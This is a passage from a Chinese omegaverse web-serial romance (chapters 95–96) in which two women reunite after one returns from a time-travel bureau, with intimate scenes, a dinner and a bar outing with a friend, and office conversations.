程卿言摇头,轻轻笑了一声,解释道:“我对象不乖,做了点错事,我没理她,她悄悄跟着我出来了,我想看看她躲在哪偷看。” 昆女士也跟着笑了笑:“你和你对象感情应该很好。” 程卿言点头:“就是偶尔犯倔,有些气人,” “年纪比较小?” “比我小一些,但她性子比较成熟,平时都是她惯着我。” 七点左右起身告辞。 程卿言走了出去,开车回家,没一会儿就发现一辆出租车在跟着她,她轻呵一声,踩油门加速,很快甩掉了对方。 提前回到家,程卿言泡了杯咖啡,坐在沙发上看着屋子里属于女生的痕迹。 杯子,书籍,照片,衣物…… 不禁红了眼眶。 回来了。 就别再离开她了。 不过这坏东西怎么还没到家,已经过去十分钟了,出租车开得这么慢? 又等了两分钟,依旧没人回来,开始担心,拿出手机打了电话,但是没人接。 程卿言坐不住了,害怕对方再次消失,慌忙起身出门,车刚开出月泊林,在距离小区一百米不到的地方,瞧见了姜映的身影。 天色已黑,已经没下雨了,不过路上还是湿的。 女生正在停共享单车,应该是摔了一跤,衣服湿了,也脏了,有点狼狈,像流浪的小狗。 程卿言慌忙走过去,声音有些颤抖:“姜映。” 姜映回头:“姐姐。” 程卿言红着眼抱着她,感受到她体温时,心才安稳下来:“伤着哪没?” 姜映见不得她难过,安抚道:“没有,我没事,你别哭。” 她原本坐的是出租车,但出租车被追尾了,车损坏的有点严重,她就下车了。 下车的地方距离月泊林不远,所以扫了一辆共享单车,快到的时候不小心摔了一跤,耽搁了些时间。 程卿言深呼一口气,紧握着她的手:“走吧。” 姜映问:“去哪?” 程卿言:“捡你回家。” 第95章 亲密 亲密 第九十五章 回到车里,程卿言只说了一句话,她问了姜映是怎么摔的,就没再开口了。 对方叫她,她没应声,对方主动找话题,她没接话,一直很沉默。 掌控方向盘的手在微微颤抖的。 还没从对方会再一次消失的害怕中走出来。 程卿言本来想冷对方一段时间,故作不认识,让对方长长记性,改掉在大事情上擅作主张的坏毛病。 可是她发现自己完全冷不下去,她的心在为姜映跳动,即使生气,但这份生气也敌不过她对女生的喜欢。 久别重逢,她太怀恋对方的温度,声音,触碰了。 想和姜映拥抱,接吻,做|爱,感受对方能给她带来的一切,想问问她这些天都经历了什么,有没有想她,过得辛不辛苦。 从前因为信息素紊乱,程卿言的意志力变得很好,她能克制住很多念想,忍常人所不能忍。 她知道姜映是个很坚持自我原则的人,如果她不收拾对方,日后如果出现类似的情况,对方可能还会做出同样的选择,为她而悄悄牺牲自己。 不长记性,就不会改。 如果不改,她会害怕,害怕姜映再一次悄无声息地离开。 但是她的意志力,在面对爱人时,好像不太管用了。 即使是假的,她也无法做到漠视对方,尤其是方才姜映没有回到家,电话也不接时,她慌张无措,半天好像已经是她的极限了,她演不下去了。 程卿言有些烦躁,车开进院子里,她沉默地回了屋,谁也没理,径直去了浴室洗澡。 受了冷落的拉面丸子歪头看着姜映,呜呜呜叫了几声,好似在说:你惹生气的啊 姜映摸了摸她们的头,没有像从前那样和小狗耐心解释,她在浴室门口站了一会儿,静静听着里面传来的水声。 已经能确定一件事了,女人没有忘掉她。 下午坐出租车跟在卡宴后面,卡宴慢下速度时,她就觉得到不对劲儿了,如果遗忘,为什么怕她跟丢,要等着她。 如果遗忘,在瞧见她摔得脏兮兮时,为什么会红着眼眸紧紧抱住她,如果遗忘,为什么会带她回家。 冷淡的眼神,冰凉的语气,依旧无法掩饰住女人的爱意。 姜映不仅是姜映,她还是苏裕,她和女人相爱十多年,经历了那么多事,太了解对方爱她时的表现了。 爱意是隐藏不住了。 一点点微弱的迹象,她也察觉到。 既然没有忘记,那为什么要故作不认识她? 不应该为她回来而感到开心吗? 姜映眸光颤动,沉思着,她既心疼女人这段时间过得那么糟糕,又有点生气女人装作不认识她。 深呼一口气,手放在了门把手上,拧开,走了进去。 浴室里水雾弥漫,热气笼罩。 程卿言闭着眼眸,站在淋浴头下,温热的水淌过全身,白皙的肌理泛起了淡淡的粉。 水声掩盖了脚步声,她不知道门已经被拧开,直到女生从身后抱住她,紧紧地拥着她,她才反应过来。 吻落在她的腺体上,耳垂上,她眉心颤动,却没有出声制止,太过想念,恰好alpha也没给她制止的时间。 很快浓郁的青竹香和樱桃味交织在一起。 她的手上举着,膝盖抵着热水晕染过的墙面,恍惚地感受着柔光落在她身上,以光的速度,以及光的温度,循序渐进。 姜映既温柔又热情,红着眼眶:“叫叫我的名字。” 程卿言她也猜到了对方知道她记得她,但是她不想承认,呼吸起伏着:“不记得,不认识。” “真不记得我了吗……” 姜映往前一步,眸光颤动,既怜惜又生气:“可是我觉得你对我很熟悉,这很熟悉,这也也是,还有这里。” “都记得我,认识我。” 姜映她已经很久没听过女人叫她的名字了,在极致的亲密间,她想到了她还是苏裕时,女人阖上眼睫离开她那一瞬,无论她如何哭泣,如何哀求,女人再也无法回应她,她再也听不到女人叫她了。 想念,害怕,疼惜,在这一瞬全都混在了一起。 她比女人更害怕对方消失。 “叫叫我行吗,求求你。” 程卿言断断续续的呼吸声里染了些哭腔,她骂道:“滚蛋……” 姜映有些失控,明明知道女人没有忘记她,红着眼眸道:“不可以忘记我,再快点,你是不是能快点想起我。” “阿卿……” “能感受到我回来了吗?” “还没想起我了吗…姐姐…” 她既让女人和她说话,又不给女人说她的机会,女人真的瘦了很多,而且手臂上腿上或多或少都留下些已经结疤,但还没好全伤口,她在生气女人把自己照顾成这样,又很心疼女人受了这么多罪。 无尽的心疼让她一遍遍吻着这些伤口。 alpha一遍又一遍地在她耳边叫她,过分中又不是温柔,一次又一次,程卿言陷入了酸涩的海浪中,往前游,随即又会被海浪卷回去,灯光忽明忽灭,昏昏沉沉。 她不知道她在浴室里待了多久,也不知道她是怎么回的卧室,有那么几个瞬间意识都恍惚了,恍惚到她在哭求,她好像在说记得她,她没忘记。 alpha听后并没有安分,像是没听见她说的话,更用力地抱着她。 昏黄的夜灯一直亮着,整夜未关。 晨光熹微,太阳缓缓升起,暖光落入屋内,和灯光融合在了一起。 卧室归于平息,呼吸慢慢。 直到下午程卿言才缓缓睁开眼,醒来那瞬的感受是酸,很酸。 女生的吻落在她眉眼上,柔声问道:“渴不渴,想喝点温水吗?” 程卿言的嗓子很干,嗯了一声。 姜映起身,很快端了一杯温水回来。 程卿言喝了几口,缓解了喉咙的干涩,呼口气道:“抱我,我们聊一聊。” 姜映应好,躺回床上抱住女人,听着女人的心跳,眼眶泛红:“对不起……” 两人心里都有害怕的事,程卿言经历过心悦之人的离开,姜映经历过爱人的生死。 经过一夜的混乱,无止境的感受这对方存在的真实性,心才落到了实处。 程卿言闭着眼睛,脸颊蹭了蹭女生的脖子:“在为什么向我道歉?” 姜映不是在为昨晚的事情道歉,昨晚有些过火了,但她并没有强迫,女人虽然在喊停,可当她真的停下时,女人会主动迎过来。 她是在为她离开的这个月而道歉,为她无法好好照顾女人而道歉。 姜映吻她的额头,保证道:“我以后不会离开了。” 程卿言眼睫颤了颤,轻轻嗯了一声:“你不问问我为什么要装作不认识你吗?” 姜映:“你想说吗?” “不说你会如何?”程卿言问。 姜映想了想:“不知道。” 她可能会在下一次亲密时,哄着让女人说出来,也有可能在平时的相处中讨好卖乖,求着女人说出来。 总会知道,只是时间长短的问题。 程卿言静了片刻,已经无法教训,只能直白道:“我不喜欢你瞒着我做一些重大的决定,这样会让我觉得你不尊重我对你的爱,我不需要你如此呵护,我没那么脆弱。” 姜映懂了她的意思了,女人是在责怪她之前打算悄悄离开的行为。 程卿言继续道:“我知道你的出发点是好的,但是你不是我,即使你是我的喜欢的人,你也不能替我做决定,我有知情权,是好是好得由我自己去判断。” “我知道了,”姜映不是固执的人,有原则,但原则在爱人面前会松动,如果她的原则让女人感到痛苦了,那就背离了她的初衷,“我会改的。” 程卿言睁开眼:“能改掉吗?” 姜映:“我尽量” “尽量?”程卿言在她肩膀上咬了一口,命令道,“必须改。” 姜映颤睫,笑了一声:“好,必须改。” 在笑什么,怎么感觉这一次回来,这人变得更成熟了,不只是指昨夜在性上更游刃有余的那种成熟,还有性子,性子也成熟了。 程卿言静了几息,觉得对方为了回来,在这几个月里应该也很辛苦,经历的事情更多了,所以才有了这些变化。 她在她唇上轻了一下:“和我讲讲你这几月在时空局都做了些什么,能说吗 ?” 姜映点头:“可以。” 程卿言等了几秒:“嗯?” 姜映眼眸里满是情意:“再亲亲我。” 还讨价还价,程卿言捏了捏她喉骨,在她唇上轻咬几下:“可以了吗?” 姜映嗯了一声,给她说了她消失这段时间都在干嘛,其实也不复杂,先是接受时空局的审判,给了她处罚,然后就开始做任务,攒够积分,兑换愿望,重新回来。 说起来轻描淡写,但程卿言能猜到这些任务一定是辛苦的,从前对方也告诉过她,厌倦了做任务,心疼涌上,主动吻住了她。 几分钟后,她掐了掐对方放在她心口起伏处的手腕,呼口气道:“期间你回来过对不对,在家里闪来闪去的灯就是你?” “是的,我放不下你,想回来看看你。”姜映如实道。 程卿言在心里松了一口气,如果灯不是姜映,那她之前喜欢灯,就等同于感情出轨。 她是在什么时候爱得那么深了,无论对方是什么,即使一次次忘记,她都会爱上。 但她并不对此感到震惊,姜映值得她一次次爱上。 程卿言说:“我不知道闪来闪去的灯是你,当时我以为那是我的幻觉,精神出问题了。” “为什么不害怕?”姜映问道。 程卿言颤睫:“为什么要害怕,家里有你,即使我不知道那是你,我也会感到安心。” “有句话你说错了,”她吻了吻alpha的耳畔,继续道,”我不是喜欢你。” 姜映心口发热,呼吸落在女人的后颈:“那是什么?” 程卿言颤了颤脖子:“你觉得呢?” 姜映眼眸颤动,如果珍宝,小心翼翼:“爱……我?” “爱啊,”程卿言牵起alpha的手,轻轻咬了咬,柔情道,“想知道我有多爱你吗?” 姜映胸腔起伏着,心跳加速:“想。” 程卿言勾着她的脖子,靠进她:“那你自己来感受……” 已经休息了一上午,此刻状态已经恢复。 姜映的吻慢慢下沿,在心跳处停下,抬眸道:“姐姐教我行吗?” 程卿言不上不下,喘了一口气,看着alpha干净但又充满欲念的眼眸,“你不是会吗……” “好像忘了。” “你……” “是你主动让我感受的,你得负责。” 程卿言嗔了她一眼,明知道这家伙是故意的,也清楚这家伙在床上时挺讨厌的,不知羞,什么都敢说。 但久别重逢,想念太重,她纵容了,她牵着alpha的手,带她感受她有多爱她。 分钟一圈一圈转动着,嘀嘀嗒嗒的声响成了呼吸的节拍器,时针也往前移动了三次,呼吸才归于平静。 阖上眼睫,要睡过去的前一秒,程卿言听见alpha在她耳边说。 “好好睡一觉,我不会再离开了。” * 再一次醒来,窗外的天已经暗了下去,程卿言躺在床上缓了几秒,伸手摸了摸旁边的位子。 没人,但有余温。 程卿言呼了口气,掌心撑着床借力,坐起来时眉心颤了好几下,有点不不适,但也还好,在能接受的范围里。 她要穿的衣服放在了旁边,女生给她准备好了,不仅如此,床头柜上也有温水,她端起来抿了几口,嘴角轻轻扬了扬。 凌乱的卧室也被收拾过了,看不出来几个小时前的混乱。 程卿言穿上睡裙,下床走了几步,停下,顿了几秒,还是有点酸。 没有伤到,结束时对方给她检查过,只是次数频繁引起的不适,她放慢脚步去了客厅。 瞧着女生坐在沙发上,她眼眸含笑,倚着门静静看着。 没有发出任何声响,但姜映感觉到了她的气息,心有灵犀回眸,视线交错:“醒了啊。” 程卿言挑眉:“嗯。” 姜映走过去抱了抱她,关心道:“有没有不舒服?” “还行,”程卿言在她脸上轻了一下,“你刚才在做什么?” 姜映说:“在给大家发消息。” 她消失了几个月,除了程卿言,这几月大家对她的记忆会模糊掉,不会察觉到异常。 但她回来了,那么久没联系,心里是挂念着的,所以想发发消息,问问近况。 程卿言理解:“要见见面吗?” 见见家人,朋友,同学。 “不急,这几日不见,”姜映说着心里话,“我想和你待在一起。” 程卿言轻笑一声:“这么黏人。” 姜映眨眨眼,在女人唇上吻了一下,笑着说:“你下午也很黏,一直抓着我,不让我出……” “闭嘴,”程卿言剜了她一眼,揪了揪对方的耳朵,“不许说。” 这人真是的,用一张如此青涩单纯的脸,对着她说这种话,反差真的挺大的。 以前只在床上说,下床后会害羞,现在怎么随时都能说了,自然到她们好像已经在一起很多年,一点也不害羞了。 捏了捏这人的脸,皮肤薄,很容易就红了,瞧着样子脸皮也没变厚。 她比对方年长,成熟知性,按理说她懂得应该多些,但是昨夜和今天下午,嗯…… 搞得她有点受不了,坏家伙在哪进修的? 程卿言思忖片刻,忽然道:“你是不是在任务世界谈恋爱了?” 姜映:“啊?” 程卿言:“谈了也没事,你如实说就是了,我理解,都是在做任务,逢场作戏,为了攒积分回来见我。” 姜映笑了一声:“你吃醋了?” 程卿言呵了一声:“没了。” “真的吗?”姜映眨眼问道。 程卿言看着她,不说话了。 姜映识趣,解释道:“没和别人谈过,和以前一样,我做的都是剧情任务。” “那你为什么……”程卿言欲言又止。 姜映等了几息,问:“我怎么了?” “没什么。”程卿言也说不出来那种感觉,她也不纠结了,人还是从前的人,差别也不大。 大概就是任务做多了,变得更成熟了,有些心疼地亲了她一会儿:“我有点饿了。” 姜映说:“你想吃什么,我去做。” 程卿言捏了捏她受累的手:“别做了,我让人送餐。” 姜映对此没有异议,应了声好。 将近一天没吃东西,又费了那么多体力,程卿言平时饭量不大,今夜也多吃了小半碗饭。 饭后她们牵着拉面丸子去小区里逛了一圈,消食聊天。 从前没有像这样一起散过步,经历过离别后,会分外珍惜这些平凡的时候。 半个小时后,慢慢走回了家。 洗漱,聊天,做。 深夜,已经很累了,累得睡了过去,但总是会惊醒,反复惊醒,在梦里还会流泪。 越是幸福,越害怕这一切会消失,黑夜容易放大心中的恐惧与不安,变得脆弱。 五天假期,两人坦诚后没有离开过月泊林,一直黏在一起,一次次亲密,让彼此感受自己,消解心中的不安。 到了最后一天,程卿言醒来后趴在床上,看了眼装指|套的抽屉,已经没剩多少了,这几日确实用的有点厉害了,她的腰快不行了,腿也是软的,但还是忍不住想继续。 不仅仅是因为不安,而是她本能地喜欢和姜映亲密,两人在这事上很契合,花样也多,她很舒服,又累又舒服。 再有就是,姜映这次回来,身上的特殊现象已经消失了,能闻见她的信息素,青竹香反复穿过樱桃,味道融在一起。 生理和心理同时触动,她对此着迷上瘾,也说得过去。 身后一热,alpha也睁开眼,抱着了她,问道:“什么时候醒的?” “两分钟前。”程卿言说。 姜映:“还要睡会儿吗?” 程卿言:“不想了,你呢?” “我也不想睡了,”姜映吻了吻女人的耳畔,“阿卿……” 程卿言呼了口气,握住她是手腕:“你别闹,我有点不行了。” 姜映流连地吻着她的后颈,嗯了一声,起床穿衣服。 程卿言颤睫,瞧着对方身上深深浅浅痕迹,她弄的,但她没有不好意思,因为她身上的痕迹不比女生的少。 从前女生愈合能力太强,痕迹留下后半个小时之内就会消,其实会让她缺乏真实感。 此刻真好,指腹碰了碰对方锁骨上的痕迹,程卿言轻笑一声。 姜映给她拿了衣服,又伺候她更衣,听见她在笑,也跟着扬起了嘴角。 午饭过后,没有再胡闹。 程卿言打开了电脑,在处理工作了。 姜映也有正经事要做,她在离开前,为了在研究所陪着女人,向科研院请了假。 她消失这几个月的事情被模糊了,因此在科研院那边她一直处于请假状态,在大家眼里她脑子受过伤,请几个月假也正常。 主动联系了楚工消了假,开始对接工作,她得回到正常的生活节奏中。 下午四点,她忙得差不多了,手机响了一声,她拿起来看了眼,眼眸瞬间颤了几下。 是苏敛懿给她发的消息,问她有没有时间,想约她和程卿言一起吃晚饭。 从前的记忆已经恢复,这个世界上虽然没有苏裕,但在她心里苏敛懿依旧是她很重要家人。 苏家家庭和睦,苏敛懿是很称职的姐姐,对她很好,在程卿言离开后,她抑郁严重,苏敛懿一直陪着她,可是她最终没能走出来。 她无法为了亲情而留在没有程卿言的世界,她对此是愧疚的。 深呼一口气,指腹在屏幕上滑动着,安静地回复着消息。 程卿言处理好邮件,抬眸瞧了瞧对方,见对方嘴角一直扬着,眉眼很柔和,这人和谁聊天聊得这么开心。 等了几分钟,还在聊。 她咳了一声,女生也没听见。 程卿言走过去,站在女生跟前:“姜映。” 姜映抬头看着她:“你忙完了?” 程卿言幽幽道:“忙完好一会儿了。” 姜映对她这种语气很熟悉,眨了眨眼,主动将手机递过去,让女人过目。 十分自觉。 程卿言挑眉,看了几眼界面上的聊天内容:“苏敛懿约我们吃晚饭?” 姜映嗯了一声:“你想去吗?” 程卿言思忖几秒,在家待了几天了,过得有点混乱,出去走走也行。 之前她和姜映在餐厅吃饭时遇见了苏敛懿,苏敛懿很喜欢姜映,姜映也和苏敛懿聊得很愉快,有种一见如故的感觉。 当时她还为此吃了醋,以为苏敛懿要和她抢人,好在苏敛懿对姜映的喜欢,只是出于一种对妹妹的喜欢。 苏敛懿想要真妹妹,她想要情妹妹,并不冲突。 她很成熟,没这么小气,不会什么醋都吃。 “去吧。” 姜映点头:“那我回她了。” 程卿言:“你回。” 片刻后姜映放下手机:“好了。” 已经四点半,见面时间约在六点,她们也没磨蹭,换好衣服后就开车出门了。 苏家的人对做饭感兴趣,苏氏虽然没进军餐饮行业,但苏敛懿出于爱好,在碚城也开了好几家餐厅和酒吧。 到了目的地,苏敛懿亲自出来接她们,热情打了招呼后,一起往室内走。 苏敛懿穿着高跟鞋,上台阶时没站稳,差点摔着了。 姜映在她旁边,快速扶住她,下意识道:“姐姐小心。” 姐姐? 程卿言听得很清楚,闻言愣住,拧眉,难以置信。 姜映居然叫别人姐姐? 这几日对方都不爱她姐姐,出门却叫别人姐姐。 叫别人姐姐。 呵。 好得很。《 》 95-99 第96章 家属 家属 第九十六章 姜映这一声姐姐喊的很自然。 震惊的人不只是程卿言,还有苏敛懿,但她和程卿言的反应截然不同,她很乐意姜映叫她姐姐。 上次见面,她莫名觉得姜映很亲切,一见如故,想认对方做妹妹,还想带姜映回家,介绍给她双亲认识。 苏家到她这一辈,直系中只有她一人,比较冷清,她觉得她双亲一定会喜欢姜映。 但那是第一次见面,她太过热情的话会吓着人,她忍住了,后来她工作比较忙,还是约了几次姜映,但姜映更忙,因此就没再见过了。 今日有空,她试着约了约,不仅能见到,还有意外惊喜,上一次见面叫她苏小姐,这次居然叫她姐姐。 苏敛懿嘴角扬起,心里美滋滋的,她瞥了眼程卿言的神色,高兴之余她又有点担心姜映回家之后会被收拾。 但这会儿谁也没提这声姐姐,像什么也没发生一般。 程卿言有大局观,心里有点不乐意,想收拾人,也不会在这时发作。 苏敛懿是怕火上浇油,心里乐一乐就行了。 至于姜映,她还没有意识到她脱口而出的一个称呼,会让两位姐有这么大反应。 记忆恢复了,她习惯叫程卿言阿卿,宝宝,姐姐只是偶尔叫着玩。 苏敛懿在她心里是有着血缘关系的姐姐,真的姐姐,从前她叫姐叫了很多年,程卿言和她在一起后,也跟着她叫苏敛懿姐姐。 下意识的举动,根本没留意。 进了餐厅,服务员上菜,好在姜映没有再叫姐了,这顿饭吃得很和谐。 饭后聊了会儿天,苏敛懿又提议去她开的清吧玩一玩。 姜映看向程卿言,询问道:“阿卿你想去吗?” 程卿言不反对,她喜欢品酒,也懂得享受生活,从前不敢喝只是因为信息素紊乱,她欣赏苏敛懿的品味,在喝酒上也聊得到一起。 三人起身,二十多分钟后到达了目的地。 苏敛懿开了几瓶她珍藏的好酒,亲自调了几杯,和程卿言交谈着对酒的看法。 姜映酒量很差,没碰酒,只喝的苏打水。 聊了会儿天,苏敛懿起身去外面接电话时,程卿言捏了捏alpha的手,问道:“要尝尝吗?” 姜映摇头:“我喝了会晕。” 程卿言也没勉强她,笑着摸了摸她的脸,凑到她耳边,又轻又柔地问了一句:“真的不想?” 淡淡的酒香和女人温热的气息一起撒在了她耳畔,姜映的耳朵很敏感,瞬间红了,不是因为害羞,而是女人能轻松地勾起她心中的欲念起伏。 程卿言是她欲念的根本,平时只是看着她,她心绪会起伏,心动不已,何况是此刻。 灯光昏暗,看着女人酒精浸染过的唇,口红斑斓,比平时多了几分明媚。 她滚了滚喉咙,真的有这么好喝吗,呼口气道:“那我喝一点。” 程卿言笑了一声,应了声好,但没有给她酒。 姜映凑过去:“嗯?” 程卿言说:“家里有酒,我也会调,你回家喝。” 也可以,在家喝晕了睡一觉便是,姜映暂时压下心中的欲动,听女人的。 明日要工作,没有在酒吧待到很晚,九点左右就告辞离开了。 程卿言喝了不能开车,姜映会开,技术很好,但是没驾照,苏敛懿安排了人送她们回去。 半个小时后,到了家。 进屋,灯都没开,姜映抱着了程卿言腰肢往前几步,呼吸有些快,吻了吻女人的下巴:“阿卿……” 程卿言背脊抵着墙,扬脖,呼了口气:“想做什么?” “吻你,可以吗?” 问了但等同于没问,姜映已经吻住了女人的唇,尝到了淡淡的酒香,口红变得更斑斓,手也有些不安分。 程卿言推了推她,躲开:“别急。” “嗯?” “等会儿。” 程卿言开灯,光影落了下来,理了理有些凌乱的衣摆,去了酒柜拿酒,慢条斯理地调了几杯,自己先尝了尝,还不错。 “试试。” 姜映接过杯子,抿了一小口。 对方第一次喝她调的酒,程卿言有些期待地问道:“怎么样?” 可是她不知道姜映不是第一次喝她调的酒,姜映酒量虽然不好,但在从前,女人调了酒不能喝,她会帮忙尝尝,她对此比较熟悉了,点头道:“很不错。” 就这样? 反应有点平淡。 程卿言又调了几杯别的,都让对方试试,总能用一杯特别惊喜的吧。 姜映每一杯都没多喝,只抿了一点点尝尝味,即使这样,脑子很快就开始晕了。 脸颊泛起了淡淡的红,并没有难受,也不闹腾,和正常人无异。 但仔细瞧能瞧见她的眸光是涣散飘忽的安安静静地坐着也不说话,又乖又傻,看着女人傻笑。 可爱,也气人。 程卿言乐了一声:“你笑什么?” 姜映颤了颤眼睫,本能地的想和女人亲近。 程卿言不想给她亲,她可没忘记这坏家伙叫苏敛懿姐姐的事,她捏着她的下巴,居高临下问道:“谁是你的姐姐?” 姜映眨了眨眼,抬眸看着她,如实说:“苏敛懿。” 苏敛懿? 好好好。 程卿言一口气差点没上来,这坏家伙在故意气她吗,温怒道:“有我一个姐姐还不够,你还想要别的姐姐?” 姜映:“你不是姐姐。” 好得很,混蛋玩意,程卿言想给她一脚,很生气:“那我是什么?” 姜映迷糊笑着,小声说:“老婆。” 程卿言没听清:“什么?” 姜映长睫颤动:“你是老婆。” 听清了,程卿言微微愣了几秒,气瞬间消了。 不经如此,还微微红了耳朵,莫名有点羞耻,嗔道:“谁允许你这么叫我了。” 婚都没结,叫什么老婆。 干嘛突然这样叫她,不知羞。 程卿言端起酒杯抿了几口酒,缓了片刻后,看着女生道,命令道:“再叫一声。” 姜映喝醉了脑子不清楚,很听她的话,连续叫了好几声。 程卿言头皮发麻,呼了口气,拉着alpha去了浴室,换地方继续。 夜里很静,一点点响动都会很明显,水声,呼吸声,声声悦耳,很晚才停下。 月影映入流动的溪流,泛起了波光。 * 程卿言以为她会是主导,毕竟对方喝醉了,又很听话。 但是做起来时,对方一点也不听话,还很缠人,十分讨厌,没轻没重,让她又爱又恨。 休息的太晚,若不是定了闹钟,她可能会睡一上午。 闹钟响起,程卿言睁开眼,缓了片刻,身旁的人还在睡,她捏了捏对方的脸,轻手轻脚下床洗漱换衣服,坐车去了公司。 有个重要的会议要开,她不能缺席,不然她可以晚一点去公司。 科技园项目接下来很有可能会和科研院合作,已经在着手了,有很多细节需要商量,事情很重要,不能马虎。 一个半小时后会议结束,程卿言回了办公室,喝了几口咖啡提提神,手机上有几条微信消息,她挑眉点开瞧了瞧。 姜映:【姐姐我醒了】 姜映:【昨晚我好像有点过分,姐姐你累不累啊?】 姜映:【我到科研院了】 姜映:【姐姐你在忙吗,姐姐?】 程卿言哼了一声,她知道对方容易醉,醒来后却不会断片,什么都记得,肯定是知晓她昨晚在为“姐姐”这个称呼生气了,这会儿才叫那么多声姐姐。 不过她气已经消了,姐姐而已,哪有老婆好听,昨夜已经听了很多声,依旧处于上头中。 程卿言打字:【刚才一直在开会,没有看消息,现在不忙了】 姜映秒回,关心道:【是不是很累?】 程卿言:【有点,我等会儿去休息室躺一几分钟,你不累?】 姜映:【我不累,我晚上可以来接你下班吗?】 程卿言扬了扬唇:【可以】 姜映:【你快休息吧,我去工作了】 程卿言放下手机,静思几息,对方精力就是比她好一些,即使她的腺体恢复了,也比不上,每次都是她先累,先睡着。 她大姜映九岁,目前差距不算大,但是日后体能差距会越来越大,她可不想力不从心,是得把锻炼安排上了。 程卿言呼了口气,敲门声响了一声,她还没说“进”,门就被推开了,不用看都知道是余简予,整个公司就余简予敢这样。 余简予有了一份文件需要她签字,让助理送过来也行,特意过来一趟,是有别的事要说,她道:“前几天姜映给我打了电话,她问我你喜不喜欢她,你知道这事吗?” 程卿言点头:“我知道,我当时就在她旁边,电话开的免提。” 余简予:…… 当时姜映的声音有些急,她还担心她们吵架了,特意过来问问情况,闹了半天,这两人是在逗她玩,拿她当情趣啊。 可恶的小情侣。 程卿言说:“不用担心,我们没吵架。” 吐槽归吐槽,但没事就好。 不知道怎么的,余简予有种前几个月程卿言过得很糟糕的感觉,但她又记不清楚,好像是她的幻觉一样,对此很模糊。 对方的身体恢复了,和姜映的感情也很好,事业也很顺利,没理由过得糟糕。 应该是她幻觉,或者是做了些奇怪的梦,梦境和现实混淆了。 余简予没有乱想了,看了看她,瞥见了她耳垂上的一抹红,打趣道:“你这几天过得很快乐?” 程卿言挑眉:“还可以。” 那就是很可以的意思。 以前对程卿言告诉过她姜映不行,清心寡欲,没有欲念,当时她还帮程卿言想办法来着,她是白担心了。 她更应该担心自己,余简予苦恼地叹了口气。 程卿言问道:“你叹什么气?” 余简予说:“周青月啊,她就是个榆木脑袋。” 程卿言:“还没和你挑明吗?” 余简予:“对啊,我都不知道她是真不懂,还是装的。” 已经聊了这么久了,连手都没牵上,她暗示了这么多,对方还是那样,不会真的只想和她做知己吧。 余简予长这么大,第一次遇见这种情况,有点受不了了。 这个月之内,如果还是没进展,她会及时抽身,不和周青月纠缠了。 * 另一边。 午休时间,姜映也收到了周青月发来的求助消息。 周青月说了近期她和余简予的现状,觉得余简予是喜欢她的,但她又不确定,很想挑明,又怕挑明后连朋友都无法做了。 她从前看了那么多小说和电视剧,虽没谈过恋爱,实践经验为零,但她还是觉得她的理论经验是丰富的。 时不时还能帮好友分析,现在轮到自己,才意识到所有的她的那些理论经验根本不管用。 当局者迷旁观者清。 姜映听了她发来的语音,认真分析了会儿,回复:【我觉得她喜欢你】 周青月:【真的吗?可是她这么优秀,她能喜欢我什么啊】 她还有一个月大学才毕业,而对方呢,程氏集团的核心高层,人生阅历丰富,肯定什么优秀的人都见过。 她长相虽然还行,家庭条件也过得去,但和余简予比起来,这些简直不够看,余简予为什么会喜欢她。 姜映只爱过程卿言,只和程卿言谈过,恋爱经验不多,给不了太多建议。 但是她能听出来对方在不自信,于是她列举出对方的优点,一五一十发过去。 看得周青月都有些不好意思了:【你说的真的是我吗?】 姜映:【是大家眼中的你】 周青月:【谢谢你夸我】 姜映:【需不需要我问问阿卿,让她帮你打听点情况】 周青月:【别别别,你别告诉程总,多不好意思啊】 姜映尊重她:【你接下来打算怎么办】 周青月:【我再观察几天,如果她真的喜欢我,我就表白!!!你忙吧,我已经好很多了,我可以的】 姜映回了句好的,放下了手机,坐在工位上发了会儿愣。 周青月和余简予是大年初一晚上在酒吧相遇,产生的好感加了微信。 那时她已经离开了这个世界,从前因为她而约的饭局,自然也不复存在,所以这一晚算是周青月和余简予的初遇。 现在她回来了,从前的饭局也存在了,但也不会影响到周青月和余简予,初一晚上她们还是会遇见,聊了过后,依旧会产生好感。 至于为什么没在之前的饭局上看对眼,当时余简予嗓子疼,没怎么说话。 而周青月呢,因为见到了偶像云秋染,紧张得不行,话都说不清楚,双方的状态都不好,都没怎么交谈过。 如果未来周青月和余简予能在一起,契机也不是因为她,不会受到她的影响。 有人叫了她一声,让她去一趟楚工的办公室,姜映回神应了声好,拿着电脑过去了。 半个小时后出来,开始工作。 刚结束五一,事情比较多,忙起来就没有休息的时间,进实验室也不能带手机,直到六点才下班。 姜映提着电脑包,打车去了程氏大楼旁边的咖啡厅,一边工作一边等着程卿言。 她坐在靠窗的位子,一直留意着外面的情况,卡宴车刚出现那一瞬,她便瞧见了。 她收好电脑,快步走过去,拉开车门坐进去,在女人脸上亲了一下:“怎么这么快就下来了?” 她到这里时给女人发了消息,女人说工作还没处理完,二十多分钟后才能结束,可这才过了五分钟,就下来了。 程卿言挑眉:“你不想早点见到我?” 姜映眨眼:“想啊。” “我也想。” 程卿言拿起对方手里喝了一半的咖啡,自然地喝了几口。 她想,所以她下来了,工作推一推,也不会有什么大影响。 “我让你来我办公室等我,你为什么不想上来?” 从前是有很多顾虑,她的信息素紊乱,程氏还不是她一人说了算,有太多的事情没决绝,她担心姜映会被牵连进去,平静的生活受到影响,心里有顾虑,不敢随心所欲。 现在没有顾虑了,她刚才也叫对方去她办公室,但对方拒绝了,要在咖啡厅等她。 想喝咖啡? 这咖啡也不怎么好喝。 那是为什么? 姜映那么黏她,肯定想早点见到她,有什么理由不上去? 姜映说:“得低调一点。” 程卿言没明白:“嗯?” 姜映牵着她的手:“下午楚工让我去她办公室,她说科研院要和程氏合作,她要带着我一起参与这个项目。” 听她这样说,程卿言便懂了她的意思。 她是程氏的掌权人,科研院属于国家单位,比较正式,要求也多,确实得低调一点,不然影响不好。 女生下班时间不去她办公室,日后上班时间倒是可以来找她,也不是件坏事,程卿言笑了一声,她还没见过对方上班时正儿八经的样子。 程卿言问:“你会一直参与这个项目?” 姜映:“不是,从五月到八月末吧,楚工会带着我。” 没有正式入职科研院,只是在实习,下个月大学正式毕业,她直博,九月份的时候得回学校上学。 第一学年的课程会比较重,大概兼顾不了实习,等课程学分修满了,到了第二年才会重新回科研院实习,完成学校规定的实习要求。 在她是苏裕时,她学的不是这个专业,即使她记忆恢复了,她还是得继续读书学习。 姜映侧眸看了眼女人,她也没想到她会从同龄人变成了小九岁的年下,怎么不是大九岁呢。 程卿言见她有些走神,捏了捏她的掌心:“在想什么?” “没什么,”姜映颤了颤眼睫,“就是在想,我为什么不能比你大几岁。” 